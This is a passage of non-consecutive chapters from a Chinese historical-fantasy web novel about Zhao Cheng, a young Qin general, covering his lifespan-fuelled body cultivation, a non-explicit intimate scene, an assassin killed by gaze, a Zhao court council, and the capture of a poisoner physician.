长剑滑落,皮肤毫无痕迹。
好似被那种气机格挡了下来,皮肤根本就没有受到力量伤害。
“若是能够将这种元气大量存蓄于体内,身体将到达何种程度?”
想着,赵诚干脆投入一千年寿命进去。
【投入一千年寿命修炼基础炼体功。】
【第一年,你不再强求引导天地元气,而是通过引导呼吸来让天地元气自然流淌在体内,不断淬炼着体魄。】
……
【第一百年,你每一次呼吸,吸收的天地元气更多了,开始盈满皮肤,融入血肉之中。】
……
【第三百年,如今你每一次呼吸,都有许多天地元气进入体内,流淌在皮肉之间,让你的肌体充满了无穷无尽的力量,但是元气依然会不断流失。】
……
【第五百年,你发现自己一次呼吸能够吸纳的天地元气数量达到了某种极限。
好在大部分肌肉已经对元气无比的亲和,能够承载更多元气。】
……
【第八百年,三百年**工夫中,天地元气已经开始在你的身体深处流淌,淬炼着最深处的肌肉和筋骨,但依然还是有大量元气在不断地消散。】
……
【第一千年,你的身体内外好似泡在天地元气之中,就连五脏六腑都被元气不断地淬炼着,不论是身体强度、力量还是恢复能力,都与之前有着天壤之别,可让你懊恼的是,体内元气还在不断流失……】
赵诚睁开眼睛,深深皱眉,感到心痛不已。
一千年啊,元气还在流失!?
正心痛间,他的身体如同本能一般深深吐纳,大量天地元气瞬间盈满全身上下,流淌在肌肉深处,筋骨缝隙之间,一阵阵舒泰自体内传来,五脏六腑都好似泡在温泉里面。
说不尽的玄妙之感,让赵诚灵魂都在战栗。
“嘶……爽!”
【你的寿命增加五十年,当前剩余寿命:2525】
“咦?”
赵诚有点茫然。
寿命无故增加了?
等等,好像是因为元气淬体,增加了我的寿命!
“是因为元气开始淬炼五脏六腑的缘故?”
“听说人类衰老是因为五脏六腑功能不断衰败,而我之前的炼体从未炼到内腑,所以寿命一直没有因为修炼而增加。
但是如今元气刚刚开始淬炼到体内脏腑,寿命就立刻增加了。”
“这样说来,就算我寿命无尽,脏腑也可能会不断衰败。”
“这可不妙,年轻的活着,和衰老的活着,完全不一样。”
“而且,这种力量感,妙不可言……”
此时此刻,他感受着体内的天地元气提供着数之不尽的力量。
就好似体内有一枚核聚变能量环,正在源源不断提供能量一般。
现如今的身体状态之好,让他感觉自己一拳能打穿城墙!
就算在敌阵之中冲杀三天三夜,也不会力竭!
过几日打叶县,自己要是一拳打爆了城墙,敌方守军还不吓得尿了裤子?
第76章 美人腰,**刀!欺人太甚,忍无可忍!
大良造寝居之侧,设有宽敞浴室。
浴室之中陈设一应俱全,最为显眼的,当属靠在西侧的巨大青铜浴缸,浴缸错金镶玉,称为青铜鉴。
整体呈侈口、深腹、圈足形制。
鉴身外壁铸有三层纹饰,上层为蟠螭纹,龙首交缠,间以云雷纹填底。
中层为窃曲纹,线条流畅如环。
下层为垂叶纹,内填简化兽面。
鉴内底部刻有“大良造赵诚之浴器”的铭文,彰显身份。
此物为了迎合赵诚的雄武身躯,刻意改建的极为宽敞庞大,如其人般霸烈。
浴盆旁置青铜漏勺,勺柄铸有虎首吞刃纹,用于舀水或去浮沫。
而在上方,则有一条青铜管道连接到一侧的庖厨,寒冬之时,庖厨日夜不停火,确保每时每刻都有热水可用。
赵诚在断玉的服侍下褪去衣物,顶天立地一般的雄武身躯现于浴室之中。
浑身肌肉块垒层层,肩宽背阔,猿臂蜂腰,好似精钢雕铸。
那流畅的线条,没有一处不是完美的黄金比例。
整个人透着无边的阳刚霸烈,再结合那英武至极的面容,看得断玉一阵脸红心跳。
眼前这位上将军,不过是个少年,却已经有了大良造的军功爵位,然而这还不是他的尽头。
以秦国的虎狼之势,势必要吞并六国。
当此之际,这少年大良造神威无边,锐不可当。
更将亲率大秦最强军队血衣军东出,大良造必然不是他的终点,而是他的起点。
到底去哪里找这样的主子呢?
曾身处故韩,用尽一身权谋,尚且感到无力回天的断玉,受够了束手束脚,一身才能无处施展的无力。
眼前新主,品貌双绝,神威盖世。
被她抓住了哪里有放过的道理。
而且,她也曾多次调查赵诚。
她深知赵诚在入伍之前,不过秦国边郡一名小农,穷乡僻壤之地,哪里见过什么美女,更未曾尝过某种滋味。
偏巧,如今她流落秦国,沦为侍人,除了一身权谋之外,只有这守节如玉多年的有用之身,才是她最利的武器。
多年来,韩国贵族公子趋之若鹜,她从未正眼看过任何一个人。
甚至于,故韩上下,也无一人能入她的眼。
但得如今,时机已至。
美人腰,**刀。
偏偏她这把刀极为锋利。
今日,就要用这把玉刀,狠狠拿下这个新主子!
此后,这爵府之内,什么青鸾朝雪之流,哪有她一合之敌?
“主子,水好了,入鉴吧。”
赵诚压下气血,身体太好也有些烦恼,气血实在太充足了。
他转过身来,却见断玉已经披上了一层薄薄的浴服,雪光若隐若现,比之前更加诱人!
好似天雷勾动地火,赵诚顿时察觉不妙,立刻动身坐进浴盆。
但是某些端倪已经被断玉尽收眼底,绛红朱唇勾起一丝小狐狸得逞般的笑意。
真是妖精!
赵诚啊赵诚,破军杀将尚且不能动摇你分毫,岂可跌在这里?
绝不可中她下怀,让她明白谁才是主子。
他淡然道,“怎么穿成这样?”
断玉玉手拿起浴花,擦在赵诚的背上,“回主子话,侍奉浴洗都是如此穿的。”
赵诚无言。
可恶,欺负我没被人侍奉过浴洗。
哼,区区浴服,有何惧焉?
由她就是!
断玉暗笑,擦洗之间,愈发靠近。
轻纱制就得浴服搭在赵诚的虎肩上,顺滑而下,沾湿少许。
发丝也随之划过赵诚的脖颈,温热的气息不经意吹拂在耳朵上。
赵诚突然感觉,这水是越来越热了。
断玉衣衫渐湿透,见赵诚始终不敢回头,她也不急。
“主子,背后擦洗干净了。”
赵诚淡淡“嗯”了一声。
见他没有动作,断玉狡黠一笑,伏上身去,双手越过赵诚肩头,为赵诚擦洗前身。
如此一来,赵诚身后突然一片清凉,如同软玉覆盖在背颈之上。
赵诚一阵心惊肉跳。
可恶,就拿这个考验干部!?
“你这是什么手法?”
“主子,妾奴曾听侍女说,这样浴洗最为干净。”
“这样,嗯……”
问题不大,还能接受。
如今好歹也是大良造了,贵族的生活总要成为常态。
正想着,断玉突兀的转到了正面,片片湿透的轻纱浴袍,顺着惊人弧度柔顺垂落而下。
赵诚与之对视,瞬间呼吸一促。
“你……”
却见她那冰髓般的玉腿突然踏入浴盆,随后断玉整个也缓缓没入浴盆,贴在赵诚与浴盆的中间坐下。
她摄人心魄的眸子盯住赵诚,朱唇含笑,玉手探出,顺着赵诚胸腹擦洗而下。
“你也进来做甚,你等会……”
简直欺人太甚!
真是忍无可忍!
……
水声潺潺。
水声澜澜。
水声哗哗。
水声突然消失,脚步声沉沉踏入燕寝……
前堂之中,十来名美侍各自做着各自的事情,却竖着耳朵听着。
听着听着,脸色逐渐古怪起来。
玉面染上红霞之际。
数名故韩贵女更是埋着头,鹌鹑似的躲了出去。
庖厨之中,渐渐飘出香气,弥漫了整个院落。
花苑之中,也种植好了各式奇花异草,排布的有一种玄妙的美感,却又有着符合赵诚的大气格局。
一看就不是为了一些贵女种的,而是为了男子而种,即使是不懂花的人来到此处,都能够停驻不前,欣赏许久。
房间之中井井有条,各个美侍都已经整理好了一切。
炊玉做的饭菜糕点凉了,便去扔掉,重新制作。
如是往复,直至入夜。
继续往复,直至天明。
众女端立在外,端庄仪态丝毫不变。
那些故韩贵女有点熬不住了,但见到她们都是如此,只能咬牙苦撑。
同时又是心惊胆战,心中祈祷断玉要坚持住。
终于,里面没了声音。
不多时,赵诚大踏步走了出来,朝雪红着脸迎了上去。
备好了一系列梳洗用物,为赵诚梳洗更衣。
那早就备好的大良造常服终于算是穿上了,确实比铠甲要舒适得多。
炊玉则是侍奉着赵诚吃早餐。
赵诚尝了口,顿时满口留香,回味不绝,不由有些惊讶。
“咦?这是昨天做的那些?”
炊玉答道,“
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回主子,这些都是刚刚做好的早饭,昨天做的已经倒掉了。”
赵诚顿时心疼不已。
暴殄天物。
他曾为一株粟苗而心疼,更何况这些金贵食材,又经过炊玉烹饪的顶级美食?
就这一份糕点,放在外面,恐怕也是万金难求。
竟然全部倒掉了?
青鸾察觉到赵诚的疑惑,“爵爷,炊玉要确保每一份饭菜,到爵爷面前,都是刚出锅的,这样才能最大程度保证菜肴的美味。”
“昨日至今,炊玉姐姐一直都在烹饪,确保爵爷能够第一时间吃到口味最佳的菜肴。”
赵诚摆了摆手,“此制不可取,以后就废除了。”
“若是我没有吃,也不要倒掉,你们吃就是了,不可浪费掉。”
炊玉连忙行礼说道,“这些食材,都是为大良造准备的,妾奴们是没有资格吃的。”
赵诚无语,“听我的就是。”
“唯。”
有故韩贵女咽了咽口水,眸中闪过感激之色。
自昨夜闻着炊玉做出菜肴的香味,她们已经能够体会到炊玉的手艺如何高超。
就算是从前,这种菜肴尚且会被她们钟爱,更何况如今沦为侍人,多日没有吃过什么美味的菜肴了。
燕寝之中。
浑身无力昏睡之间的断玉睁开眼睛,勉力爬起,将染了落红的手帕收起。
看着一片狼藉,她心中微微震颤着。
果真体魄如龙!
幸好修炼有食气之法,不然真是麻烦了。
不过现在只是踏出了第一步,还不能松懈。
她整理好衣服妆容,又拖着无力的身体收拾了房间。
……
赵诚吃着饭,想了想,“朝雪,中午之后,再整理燕寝吧。”
“唯。”
“不用了爵爷,断玉已经整理好了。”
朝雪行礼话音落下之际。
断玉的声音从里间传来。
赵诚回头看去,却见断玉踏步而出,脸色有些苍白,但妆容依然精致。
身着一身紫色锦袍,丹凤眼含笑,行走之间依然带着三份压迫感和贵气,袅袅婷婷,却也能看出勉力压制的无力。
“爵爷,妾奴还有事情要交代。”
赵诚看了看周围依然端立候命的众女,挥了挥手,“也守了一夜了,都散了吧。”
“唯。”
众人事务都做完了,此时赵诚梳洗了,也吃饭了,她们自然也就无事要做,于是各自去吃饭休息。
断玉端立在一旁,突然跪伏行礼,“妾奴恩谢爵爷怜惜。”
食髓知味,断玉掌控故韩上下情报,见多了上位之后荒淫无度之人。
赵诚面对自己,且是第一次,还能及时收手。
更是命令朝雪中午再收拾燕寝,为她留了体面,也让她多休息。
断玉自是感恩的。
“不必多言,你有什么事情要交代?”
“是关于玉衡楼,也就是妾奴手下的情报组织,韩灭之后,这些暗子都隐藏在故韩之地,等候妾奴传令。”
“妾奴想问爵爷,是否要将他们利用起来,散在秦国各地,用以收集情报?”
赵诚想了想,摇了摇头。
“只散在秦国各地没什么意思,既是情报组织,应当分布各国,你可能做到?”
第92章 目光**!?不愧血屠阎罗之名!
没……没死……
还活着!
是大良造来了!
扶苏的双眸瞪大到了极限,浑身也绷紧到了极限。
一颗心刚刚落至极暗之处,又复现光明。
无穷纷乱的思绪暴涌入扶苏的脑海。
他的双腿已经软透了,但还是缓缓吸了一口气,强撑着一股劲,后退了半步。
而后身子一软,噗通坐翻了椅子,跌坐在地,大口喘息起来,脸色苍白如纸。
“他……他……”
扶苏有些语无伦次,依然惊恐地看着那保持着极大张力,固定于**前一刻的刺客身形上。
即使那刺客已经一动不动,但那股杀机,依然从那精壮体魄的流畅动线上暴涌出来。
任谁看上一眼,都要心惊肉跳。
“**。”
赵诚的声音传来,让扶苏脑袋更是空白。
**!?
扶苏不可思议地看向刺客,不管怎么看,这家伙都还活着!
那股子杀气,这杀机毕露的动作,怎么会**?
更何况,刚才那一刻,他没察觉赵诚有任何动作,两者根本就没有接触,刺客怎么会**?
“**……为何不倒?”
扶苏努力让自己的声音显得冷静,但是出口依然是一阵颤抖。
赵诚指了指刺客,“你戳他一下就倒了,或者踹他一脚。”
扶苏惊惧,头皮发麻。
让他主动去靠近刺客?
一个刚刚差点杀了他,现在还维持着**姿势的刺客?
他没有动。
赵诚笑道,“若是连这份勇气都没有,就回宫去吧,好好做你的乖乖太子,与那群腐儒继续过家家……”
扶苏唇角一抿,抿出的风骨与刚出怀阳村的赵诚竟如出一辙。
此时他已经察觉到那刺客的异常,细看之下,那人脸色灰败,双目一派死意,毫无生机可言。
于是他站起身来,拖着软成面条似的双腿,一步一步挪向前去。
胆战心惊,但那刺客丝毫没动。
扶苏咬牙,书卷气的脸上,亦浮现出一抹坚毅。
他与刺客持着**刺出的手臂擦肩而过,缓慢靠近。
剧烈颤抖的手伸出去,在触碰到刺客胸口之前一指的距离突然停住不动。
僵硬着,僵硬着……
扶苏突然抬起一脚踹在刺客腿弯上,然后拔腿就跑,一溜烟跑到赵诚身后,露出半张脸看向刺客。
赵诚哭笑不得。
这一脚真是连他都没有想到。
不是,你对着一个已经死掉的刺客,还在声东击西?
和空气斗智斗勇是吧?
倒也不算太过死脑筋。
赵诚开始觉得这孩子有点意思了。
而那刺客,在扶苏一脚之下,终于破掉了突然死僵的势头,软软倒下,噗通一声落在地上,没有丝毫声息。
“真的**……”
扶苏不敢置信。
这怎么可能呢?
是被大良造杀死的吗?
可他如何做到的呢?
出现时,他只是在自己身边,连根手指头都没动,更没有触碰刺客。
难道是暗器?
可是就算是暗器,刺客的动作势头也不会停下,更何况,刺客全身上下丝毫见不到伤口。
他终于问出了心中疑惑,“大良造,这刺客到底是**的?”
赵诚笑道,“被你踢死的。”
“不可能。”扶苏鼓起小脸,有些不满,却也不敢表现出来,“大良造莫要将吾当做小孩子哄骗。”
“那你说他是**的?”
赵诚问道。
扶苏皱眉沉思片刻,“吾听闻,血屠阎罗一眼就能瞪死百人,莫非他是被大良造看死的?”
虽然有点无语,但不可否认,那刺客确实是被赵诚以双眸施展阴阳摄魂咒印,咒杀掉的。
这法门出手最快,抬眸即至。
以赵诚的修为来说,不需要结印,甚至不需要对视,直接真元爆冲压垮神魂,对方的身体自然僵直,也是当时最为安全的选择。
赵诚只好点头,“说对了,他是被我看死的。”
“我修有一种秘法,有勾人魂魄之能,看谁一眼,就能把他的魂魄勾出来。”
说着赵诚朝着扶苏看去。
扶苏头皮差点炸了,一猫腰躲在赵诚身后视觉死角处,捂着脑袋叫道,“大良造莫要勾吾的魂!”
赵诚失笑,这会又不机灵了。
“你不与我对视就无妨。”
听闻这话,扶苏才终于松了口气。<
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br>怪不得之前在殿上,与大良造对视一眼,差点心都跳出来,原来是秘法的原因。
血屠阎罗名不虚传!
当真可怖!
他侧目抬头,不敢与赵诚对视。
因为不敢对视,所以看不到赵诚脸上的笑意。
“说说吧,来找我做什么?”
扶苏认真说道,“博士们回答不上来大良造的问题,吾也想不明白,吾很困惑,而圣贤典籍之中没有答案。”
“吾觉得儒学可能也有它的局限性,但这边界在哪,吾不知道。”
“博士们认为大良造所行残暴不仁,大良造却认为王父和大良造所行才是大仁大义,吾分不清,故吾要跟随大良造,与实事中印证所学。”
“吾要看看,仁义之道到底应该用在哪里,又不该用在哪里。”
看着眼前困惑的小孩,赵诚笑道,“这还不简单?”
扶苏抬眸,不小心与赵诚对视上了,当即心头一跳,连忙低头,捂住了自己的眉心,确保自己的魂儿没有被摄出去。
“请大良造教我。”
赵诚理所当然地说道,“仁义之道当然是用在别人身上最合适。”
“啊这……”
扶苏一下子懵住了。
是这样的吗?
不对不对。
“若仁义只是施恩的权柄,那与商贾用铜钱买人心,又有何异?”
“天视自我民视,天听自我民听,这仁义若不先在自己骨血里扎根,又如何让天下人信它是真的?”
赵诚无所谓道,“商贾用钱买人心又怎么了?你很看不起人家吗?”
“若是能用钱买通诸国权臣,以此兵不血刃降服诸国,从此天下太平,少去多少杀戮,这不是仁义吗?”
扶苏又懵了。
如此手段,也能称仁义吗?
房顶之上,蜷缩在房檐角落的顿弱奋笔疾书,眼中闪烁着流水遇知音的感动。
大良造懂我啊!
他干的就是这个事啊!
在公子口中,自己与商贾收买人心的行为无异,是下流之举!
但大良造却认为他所行所为,是大仁义,是止战六国,少去杀伐的大仁义!
记上!
必须记上!
回去说给大王听!
第93章 有此‘凉\’相,何愁江山不覆?
“诸卿,今天上朝只论一事,便是那秦国新贵大良造赵诚!”
赵王迁的声音静静地回荡在赵国大殿之上。
群臣闻言面面相觑,赵王迁上位之后长期享乐,宠信权臣。
赵国每况日下,屡遭秦国攻打,接连丢失宜安、平阳、武城、狼孟、番吾等郡。
要不是大将李牧力挽狂澜,他们现在都不知道在秦国哪个边境服役了。
今日大王突然上朝,忧心忡忡的样子,原来是感受到了新的威胁。
群臣面面相觑之下,却没有人先开口说话。
这血屠阎罗之名已经传遍诸国,这些大臣没有不知道的,生怕一开口就被赵王拍去对付那屠子。
到时候可就骑虎难下了。
赵王迁看着下方反应,还以为众臣不了解赵诚,于是继续说道:
“此人率八千轻骑,不带辎重,八日灭韩,杀敌酷烈,锋芒无尽,所过之处,锐不可当!”
“被韩人称为血屠阎罗!”
“近来,寡人更是听闻他在秦国章台宫殿前击杀昌平君八百方士门客,其中更有多年前从燕国逃出的醉屠子。”
“可见此人武力不凡,极为勇猛。”
“如今他得到秦王赏识,令其在曾经的铁鹰锐士基础上,另建血衣军,据密谍说此军人人都修有炼体之法,而且精进奇快无比。”
“秦国虎狼之师本就难以对付。”
“如今韩灭之后,秦国更具地利,还有如此猛将,若是那血屠亲率血衣军,自韩境疾袭邯郸,又该如何抵挡?”
赵王迁忧心忡忡,实在由不得他不担心。
当初嬴政的父亲子楚被派往赵国做质子,经过长平之战,白起坑杀赵国四十五万士卒之后,秦赵便长期交恶。
子楚在邯郸的地位极为尴尬,不但生活困顿,甚至备受敌视,处处针对。
而作为他儿子的嬴政,自出生就被打上秦人标签,从小就被敌视长大。
赵王迁作为赵国上层,王室之后,对其自然更是轻蔑无比。
不但多次在公开场合,带着其他贵族子弟嘲讽其质子之子的身份,更曾找人对其进行言语侮辱,甚至推搡殴打。
就算是最基本的生活要求,也是多番刁难。
甚至给赵姬家中施压,让嬴政在其家族都不受待见,被严重排挤。
如今形势逆转,大秦如此强横,嬴政的复仇之心更是昭然若揭。
刚刚上位没多久就多次攻打赵国,可想而知,其对赵国这些高层贵族有多大的恨意。
如今韩国没了,秦具有如此地势,就算他用屁股想,那也知道用不了多久,等韩地巩固稳定下来,秦王必然攻赵。
而那血屠如日中天,秦王必然以他为锋。
可赵王迁思来想去,怎么都想不到李牧如何抵御赵诚。
之前两线作战,李牧各种回旋拉扯,才算是堪堪打退秦国的攻势。
现在好了,三线作战,就算李牧多长一个脑袋,那也是忙不过来的。
更何况那赵诚的勇猛,比秦国其他那几个猛将吓人的多了。
带着八千人,没头没脑地一路杀过去,硬是八日就把韩灭了。
换做各国哪个君王来看,那也是心惊肉跳,生怕对方哪一天突然穿插国境而入,直抵国都。
赵王迁环视群臣,发现群臣竟然一句话都不说。
他眼睛一眯,盯住了自己最宠信倚仗的郭开,“相国,你来说说。”
郭开最是明白君王心意,知道君王此时忧心忡忡,于是一脸轻松说道,“大王不必忧心,那血屠不过是徒有虚名罢了。”
“要知道,韩之军备,废弛已久,韩王与韩臣更是每日沉溺于权谋之术上,军中将士无心作战。
既如此,面对那赵诚,自然是能避则避,不愿撄锋。”
“如此一来,韩若是灭了,他们也能入秦,还留得一条性命。”
“若是没灭,他们也能够逃过罪责。”
“所以在臣看来,那血屠阎罗之名,不过是双方商量好的计谋,越是宣扬赵诚的神威,那些早就想要投降的韩军就越是没有罪责。”
“至于什么八千尽屠三万之事,恐怕都是杜撰出来
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的。”
“还有殿前斩杀相国八百门客之事,也是秦国为了**而刻意宣扬。”
“那醉屠子多年前还有些厉害,如今这么多年过去,早就老得不行了,被推出来杀了**诸国,何以证明那赵诚威势?”
“臣亦查过此人,此人说到底不过是个十六七岁的少年罢了,就算有些勇力,又哪有传闻之中的那般玄乎?”
他这一番推测,大半都是以己度人,没有什么实证。
偏偏赵王迁还很吃这一套,心中为之放心了不少。
心里舒服了,看郭开就更是顺眼了。
然而就在这个时候,春平君赵佾越众而出,“陛下,臣以为相国此言不妥,其言大多都是揣测,而没有实证。”
“秦国以军功封爵,法律严苛,若无实打实的军功,如何能够封爵大良造,又如何以十六岁少年之身,受秦王重用,率领血衣军?”
“秦王此人,极有识人之能,不会错判的,所以臣以为,此人不可不防!”
赵佾是赵孝成王之子,赵悼襄王的兄长,他多次劝谏赵王迁重用李牧、疏远奸佞,但因权力被架空而失败。
如今看到如此关键的时刻,郭开还在胡说八道,再也忍不住了。
但他这番话一出,赵王迁的眉头明显皱了起来,脸色也变得不愉快。
他刚刚松了口气,这赵佾就跳出来吓唬他?
还说秦王有识人之能?
他当初将嬴政按在地上摩擦的时候,嬴政怎么没有识人之能?
“哼!既然春平君认为此子危险,又该如何对付他呢?”
春平君说道,“此人虽然武力不俗,有万夫莫敌之勇,但这也是他的弱点,正因为其勇猛,所以战法就更偏向于勇猛冲杀。”
“我等只需要在邯郸设下针对武力强大者的大型机关,必然能够将其陷杀于阵前!”
赵王迁微微昂头,俯视春平君,“哦?若按照昌平君所说,此人有如此武力,什么样的机关才能够将其陷杀呢?”
春平君胸有成竹,“墨家的千机锁龙阵!”
第103章 江湖第一**犯!药无医的妙用!
药无医,封不救……
赵诚起心动念一算。
哦豁,师兄弟。
再一细算,更是惊奇,这也是一个人才。
他能治好那女孩的病,就是不治,糊弄这影楼七魅的钱。
这家伙有真才实学,却坑蒙拐骗,以此术糊弄了不少江湖**为他打工。
但此人吧,又只糊弄**,不糊弄百姓,真给百姓治病,所以名气很大。
偏偏还是个有情义的,因为师弟封不救被赵诚扣押了,于是就想借影楼七魅的刀,把赵诚杀了,救出师弟来。
算到此处,赵诚乐了。
真是个人才,那也别跑了,既来之则安之吧。
“你们二人,先去把这药无医给我抓来。”
“这……”灵鸢顿时有些迟疑,“药无医在江湖上很有地位,也确实救过许多刺客的命。”
“而且很多高手刺客全都指望他治伤救命,与他关系匪浅,绑了他,等于是捅了刺客的马蜂窝啊。”
“让他们来找我就是。”赵诚笑吟吟的,“等等,你在为他求情?”
灵鸢咬了咬下唇,小心说道,“他给小禾儿治病,许多次都没收钱,我们实在……不好意思恩将仇报……”
人才啊,都是人才啊。
被人卖了还给人家数钱。
影月却是立刻站起身来,就往外面去。
“二姐,等等我,咱们真要恩将仇报吗?”
“少废话,快来!”
“来了!这次我先上,那家伙用毒危险,咱们见了他直接一脚踹翻,然后狠狠打晕,再把他五花大绑……”
两人的身影在灵鸢的计划声中远去了。
赵诚面色古怪,这叫不好意思恩将仇报?
……
“又来买毒香了?我说你们买的那些毒香,一千个方士也能放翻了,到现在没放不倒那血屠?”
暗巷角落,一间简陋破旧的医馆中光线有些昏暗,四处弥漫着草药的香气。
一个身穿月白色粗麻长袍的青年蹲坐在阴影之中,头发随意的挽成发髻,几缕碎发落在额前,一双琥珀色眸子时不时闪过精明之色。
“你们莫不是被那个韩霜坑了吧,我可告诉你们,不能再折价了。
我这毒香用料可都是金贵货,要不是看在你们是老主顾的份上,又是对付那血屠,我才不会这个价格卖给你们。”
灵鸢唉声叹气,一边靠近药无医,一边哀求。
“行行好吧药兄,这次只差一点了,那血屠实在强大,天下间只有你的药才能放倒他,别人都不行。”
药无医被她捧得有点开心,见灵鸢靠近也不以为意。
以他在江湖上的声名和地位,这些**不敢拿他怎么样。
命是自己的,而医生是大家的,谁敢对医生不利,就是对所有人的命不利,必然会遭到群起而攻。
所以他有恃无恐。
“不行不行,规矩不能坏,必须拿钱来……”
“我去你的规矩吧!”
然而,当灵鸢靠近三步范围内,突然暴起,一脚狠狠踹在药无医的肚子上,将其踹翻在地,摔成了滚地葫芦。
药无医翻滚着撞到了药架子上,痛得龇牙咧嘴,又是满脸懵逼。
这娘们疯了不成!?
竟然敢对他动手?
谁给她的胆子?
“我今天……”
嘭!
他刚想放点狠话提醒一下灵鸢自己的身份,结果灵鸢已经出现在他身边,狠狠一脚踢在他的脑袋上,嘭的一声将其直接踢晕了过去。
而后灵鸢动作不停,行云流水一般的将药无医五花大绑。
一直在策应观战的影月松了口气。
药无医一身毒不容小觑,若是被他发现了端倪,提前有所准备,两人恐怕都要交代在这里。
好在这家伙大意了,灵鸢也没给他任何机会。
灵鸢刚想要提着药无医向外走去,却被影月拦住了。
“怎么了二姐?”
“先别出去,药无医手段诡谲,我怕他还有什么后手,给我。”
灵鸢将五花大绑的药无医递给影月,影月检查了一番,又拿出一只准备好的小雀放在药无医身上。
小雀毫无变化,并没有**迹象,但她还是没有完全放心。
想了想,又将药无医扔出了医馆,而后将小雀也扔了出去。
药无医飞出医馆,噗通一声摔在地上,滚了三圈,昏迷中吭吭了两声,又继续昏迷了。
那小雀落在他身上,叽喳叫了几声就
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要飞走。
然而一扇翅膀,才飞出几尺距离,就突然之间暴毙栽在地上没了声息。
灵鸢顿时心惊肉跳。
若是刚才她提着那药无医出了门去,现在怕是已经成了**了。
“二姐,这……他何时下的毒啊?”
影月看了看逼仄的医馆,已是心中明了,说道,“他一直都在下毒。”
“他身上的毒和医馆之中的这种药香能够中和,所以只要他在医馆之中,别人与他接触就没事。”
“若是出门,他自己也会施展手段去掉这种毒气。”
“但一旦被人劫持,出了门去,都会中了他的毒,被他反制,顷刻间暴毙。”
影月行走江湖多年,能够从七魅之中脱颖而出活到现在,全凭这份小心。
灵鸢年纪最小,是七魅中的老幺,但天赋超绝,又紧跟影月,所以也活到了现在。
“那现在怎么办?他身上有毒,我们如何将其带回去?”
“先看看毒的范围。”
影月又是一番测试,确定了药无医身上的毒气范围只在身边三四步方圆。
于是弄来了送肉的车,两人加长了木杆,一前一后押送药无医前往爵府。
然而走出没多远,就遇到了其它刺客拦截。
这刺客身上还带着**溃烂的伤势,来寻药无医解毒的,发现药无医不见了,立刻就追了来。
“你们要带他去哪?”
影月看了看他,此人将死,和将死之人拼命是最危险的。
“送他去见一个人,你要治伤?”
此人也不愿与盛名已久的影楼七魅为敌,默默点了点头。
“请便。”
影月摊了摊手,示意他可以直接去找药无医。
但这人显然也不傻,见了两人用木车推着药无医,知道事出有妖。
不愿上前,双方僵持片刻,影月继续前行。
她们不着急,中了毒的刺客却是着急的,他扛不了多久。
于是见影月露出了破绽,立刻暴起偷袭。
影月早有准备,与灵鸢对视一眼,突然一抖马车,那药无医就像是盆里面的面团子,被当做武器抖了出去,直奔刺客。
刺客大惊失色,如避瘟神拼命闪躲……
第107章 **犯再现江湖!最后一票连环套!
诸将这一万精锐都是精挑细选,倒也无人用普通锐士搪塞赵诚。
而秦军尚武,这些精锐本身对赵诚就异常尊崇,甚至有不少人对其狂热无比。
再加上血衣军的特殊性,一万精锐对于加入血衣军没有不激动的,颇为荣幸。
赵诚给他们说了练兵流程与待遇之后,纷纷激动不已。
半日不到,一万精锐就加入了炼体大部队之中,也开始鬼哭狼嚎起来。
他们这才知道,快速精进的代价如何可怕。
这简直就是生不如死。
也不知道那些前辈是怎么扛住修炼下来的。
至今为止,还是最开始跟随赵诚那六千精锐和原本的铁鹰锐士炼体最为疯狂。
有他们做标榜,其他精锐就算生不如死,也不好落后太多。
于是一个个咬牙猛炼。
血衣军营每天都传出凄厉惨嚎声,上林苑以血衣军营为中心,方圆五里的林子中,都看不到一只野兽。
……
“爵爷,那女孩接来了。”
正堂之中,断玉领着一个小女孩走来,女孩怯生生地躲在断玉身后,有些一瘸一拐地前行。
她身形瘦弱,左腿有些畸形,面色带着病弱的苍白,齐肩黑发显得有些枯槁,弯弯的眉毛更显柔弱,一双大眼睛却是清澈明亮。
此时那双透亮的眸子正如同受惊的小鹿一般,慌乱地扫视周围的陈设。
如此华贵的陈设,她从未见过,所以显得非常局促不安,每每看到一些新事物,便立刻低下头去,却又忍不住好奇,偷偷地打量。
对于很多赵诚平常不注意的东西,例如那些莳薇随手摆放的盆栽,素檀挂起的字画,亦或者是纫秋刺绣的小物件,她都极感兴趣,却又害怕地不敢多看。
因为她也不知道,一直在村中与婆婆辛苦相依为命的她,为何会突然出现在这么华贵高阔的地方。
在她小小的认知里,以前那些村中的富户老爷的家,就是她的毕生梦想了。
每天晚上睡觉前,想一想自己会住在那种大房子里,就可以美美地睡过去,期盼着真的能做梦梦到。
但今天,这些事物每时每刻都在剧烈冲击着她的认知,她的审美。
她甚至想象不到这些东西该有多贵重,他们的主人又是什么样的人物。
唯一能够带给她安全感的,便是跟随在后的哑婆婆。
以及面前这个看起来美的像仙女似的大姐姐。
这样漂亮的大姐姐,一定是好人,她的朋友,也一定是好人吧?
或许是神仙看我过得不好,把我接来仙宫了吗?
她细碎地想着。
听到断玉的声音,没忍住好奇探出了眼睛看向了前方。
看到坐在那里的魁躯瞬间,她浑身剧颤,极恐慌地缩回了眼睛,浑身抖若筛糠。
完啦!
见到阎王爷啦!
不是去仙宫了,可能是已经病**,魂都到地府了!
小禾儿突然哭了起来,眼泪大滴大滴落下,却没有发出一丝哭音。
她很后悔,没有和二娘小娘好好告别。
眼泪滴落在断玉手上,断玉惊讶回头,“怎么哭了?”
“没事的没事的,爵爷不是坏人,小禾儿别害怕。”
赵诚无语,他也不是故意要吓唬小孩子,其实已经很收敛了。
在断玉的安抚下,念禾平静了一些,再次向着赵诚看去。
赵诚露出一个和蔼的笑容,“小禾儿……”
话音未落,念禾浑身剧烈颤抖着跪下了,嘭就磕了个头。
“阎王爷,民女是病死的,没做什么坏事,求求您,别让念禾下地狱了……”
赵诚深深闭目。
人无语的时候,真的会很无语。
原来不是把我当成了坏人,而是就没把我当人。
当成阎王了!
没办法,赵诚让人找来了影月和灵鸢。
两女一出现,立刻扑上去,抱住了念禾。
“小禾儿,怎么哭了?”
“身上又疼了吗?”
念禾看到了亲人,终于忍不住,抱着两女哭了。
“二娘,小娘,你们怎么也**?”
“念禾不想你们死,你们快回去,我求求阎王爷,送你们回
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去吧。”
“啊呜……”
她哭得绝望凄惨,就要再给赵诚跪下磕头。
赵诚又气又无奈,又拿小孩子没有什么办法。
断玉也是哭笑不得。
好在影月和灵鸢了解念禾,先是安抚了她,又说明了情况。
“这是爵爷哩,就是大官,很大很大的官。”
“他能给你治病,接你来,是要治好你的。”
“真的吗?”念禾小心地看向赵诚。
视线刚刚触及赵诚衣角,就连忙缩回去了。
“是好人?”
灵鸢昧着良心说道,“大大的好人!”
大好人赵诚没有再展示自己和蔼的一面,直接叫来了药无医和封不救,“你们俩,治好她。”
